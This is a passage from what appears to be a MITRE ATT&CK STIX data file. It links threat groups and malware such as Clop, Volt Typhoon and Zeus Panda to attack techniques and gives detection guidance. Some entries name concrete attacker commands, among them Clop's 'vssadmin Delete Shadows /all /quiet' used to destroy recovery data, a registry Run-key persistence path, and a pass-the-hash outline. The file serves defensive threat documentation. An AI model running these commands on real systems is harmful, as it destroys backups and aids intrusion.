2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc5b2681-d0e9-4ef5-9a90-56358ea34d96","type":"relationship","created":"2019-01-29T19:55:48.163Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2020-03-18T20:10:13.800Z","description":"[Epic](https://attack.mitre.org/software/S0091) gathers information on local group names.(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc60180b-2db6-4e0d-8b98-d349db637777","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"}],"modified":"2020-03-17T01:04:16.878Z","description":"[Elise](https://attack.mitre.org/software/S0081) communicates over HTTP or HTTPS for C2.(Citation: Lotus Blossom Jun 2015)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc681eea-c32c-4cc1-80a6-efd759da8bb9","created":"2024-05-21T17:07:53.967Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:07:53.967Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has collected window title information from compromised systems.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\n","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc70728d-9f56-43df-8580-1d22c829bd14","created":"2022-09-26T15:21:53.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T17:46:21.390Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can use Native API for defense evasion, discovery, and collection.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc72acee-e417-4de8-8084-153e141917b6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--463f68f1-5cde-4dc2-a831-68b73488f8f4","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc733ee6-f441-42b1-a201-9ff84e0f522c","type":"relationship","created":"2021-05-10T23:54:36.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mcafee Clop Aug 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/","description":"Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."}],"modified":"2021-05-19T17:11:19.309Z","description":"[Clop](https://attack.mitre.org/software/S0611) can delete the shadow volumes with vssadmin Delete Shadows /all /quiet and can use bcdedit to disable recovery options.(Citation: Mcafee Clop Aug 2019)","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc7382dc-b2d0-4bd3-9e7d-f49cf17e7fc1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ASERT InnaputRAT April 2018","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.","url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}],"modified":"2020-03-18T00:48:35.894Z","description":"Some [InnaputRAT](https://attack.mitre.org/software/S0259) variants establish persistence by modifying the Registry key HKU\\\\Software\\Microsoft\\Windows\\CurrentVersion\\Run:%appdata%\\NeutralApp\\NeutralApp.exe.(Citation: ASERT InnaputRAT April 2018)","relationship_type":"uses","source_ref":"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc74cabe-b8bc-4873-a6ff-e16d8f91299f","type":"relationship","created":"2021-10-01T21:53:33.658Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.577Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can enumerate files and collect associated metadata.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bc79d096-2424-4b1c-b121-5e89d221603f","created":"2022-03-30T14:26:51.860Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for user authentication attempts. From a classic Pass-The-Hash perspective, this technique uses a hash through the NTLMv1 / NTLMv2 protocol to authenticate against a compromised endpoint. This technique does not touch Kerberos. Therefore, NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. From an Over-Pass-The-Hash perspective, an adversary wants to exchange the hash for a Kerberos authentication ticket (TGT). One way to do this is by creating a sacrificial logon session with dummy credentials (LogonType 9) and then inject the hash into that session which triggers the Kerberos authentication process.","modified":"2022-04-14T16:09:40.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc7f00a2-ba1c-428a-ba8f-174703389c73","type":"relationship","created":"2020-09-22T20:17:38.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2020-10-06T15:23:45.908Z","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has used publicly-accessible RDP and remote management and monitoring (RMM) servers to gain access to victim machines.(Citation: Secureworks REvil September 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc829687-1a36-46f3-9196-79e62f84d005","created":"2022-12-20T21:16:36.721Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-20T21:16:36.721Z","description":"The DEADEYE.EMBED variant of [DEADEYE](https://attack.mitre.org/software/S1052) can embed its payload in an alternate data stream of a local file.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc838675-63af-45c5-9a30-081b5f5ac0d7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco DNSMessenger March 2017","description":"Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.","url":"http://blog.talosintelligence.com/2017/03/dnsmessenger.html"}],"modified":"2020-03-30T17:17:35.483Z","description":"If the victim is using PowerShell 3.0 or later, [POWERSOURCE](https://attack.mitre.org/software/S0145) writes its decoded payload to an alternate data stream (ADS) named kernel32.dll that is saved in %PROGRAMDATA%\\Windows\\.(Citation: Cisco DNSMessenger March 2017)","relationship_type":"uses","source_ref":"malware--17e919aa-4a49-445c-b103-dbb8df9e7351","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc85f8f4-5d65-484c-af82-6adbe42083d9","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-18T22:53:32.312Z","description":"[OSInfo](https://attack.mitre.org/software/S0165) has enumerated the local administrators group.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc8cb83f-fc66-4c44-8d60-f6f4be4b4f41","type":"relationship","created":"2019-07-09T17:42:44.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.357Z","description":"[HyperBro](https://attack.mitre.org/software/S0398) has the ability to run an application (CreateProcessW) or script/file (ShellExecuteW) via API.(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc8d1943-a146-422f-8d98-d31fce56202f","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor executed commands and arguments for actions that could be taken to collect internal data.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc8f14a1-dc24-42cb-a0dd-3cc0c25d5eae","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.059Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) uses cmd.exe to execute commands for discovery.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bc953a16-2049-4050-8790-5efb54be6e34","created":"2022-02-08T16:11:38.675Z","x_mitre_version":"1.0","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) can query the query AWS and GCP metadata APIs for secrets.(Citation: Peirates GitHub)","modified":"2022-04-14T20:57:07.027Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc99bfb1-8529-4116-b702-07c37d333bcf","created":"2023-09-20T19:33:24.058Z","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"},{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"},{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"},{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-20T19:33:24.058Z","description":"(Citation: Proofpoint TA2541 February 2022)(Citation: Morphisec Snip3 May 2021)(Citation: Cisco Operation Layover September 2021)(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc9a5286-98a6-4905-b4ce-8f4d958861b6","created":"2019-01-29T17:59:44.434Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Zeus Panda Nov 2017","description":"Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More"},{"source_name":"GDATA Zeus Panda June 2017","description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:31:26.436Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) encrypts strings with XOR. [Zeus Panda](https://attack.mitre.org/software/S0330) also encrypts all configuration and settings in AES and RC4.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc9cfe76-2d64-4901-8e9e-c69d046cdfaa","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","source_name":"FireEye Operation Double Tap"}],"modified":"2019-04-29T18:01:20.434Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that creates a new service for persistence.(Citation: FireEye Operation Double Tap)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bca618ac-7867-4dc4-b683-ae3f61addc68","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:33.049Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) uses the command reg query “HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\InternetSettings”.(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bca66065-5e09-4cb0-9488-22db9eb588d6","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor executed commands and arguments that may check for Internet connectivity on compromised systems.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcaff7af-da99-45cd-a29e-e5d0cc52a48c","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for changes made to a large quantity of files for unexpected modifications in user directories and under C:\\Windows\\System32\\.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bcb09da2-4ef9-4739-b36d-96c9c62ec4e2","created":"2022-04-07T22:45:27.889Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro Confucius APT Feb 2018","url":"https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html","description":"Lunghi, D and Horejsi, J. (2018, February 13). Deciphering Confucius: A Look at the Group's Cyberespionage Operations. Retrieved December 26, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has used mshta.exe to execute malicious VBScript.(Citation: TrendMicro Confucius APT Feb 2018) ","modified":"2022-04-18T12:38:31.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcb137f0-e92d-47b5-912f-ba8d4f9ff15c","type":"relationship","created":"2019-02-12T16:33:29.284Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","source_name":"ESET Zebrocy May 2019"},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-09T21:53:58.741Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) uses SSL and AES ECB for encrypting C2 communications.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020) ","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcb8ac03-4f58-4cd8-af58-c3df991c8af5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.219Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) searches for Microsoft Outlook data files with extensions .pst and .ost for collection and exfiltration.(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bcbc885e-c1ae-4e69-a72c-22900403bae3","created":"2019-09-24T12:53:12.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 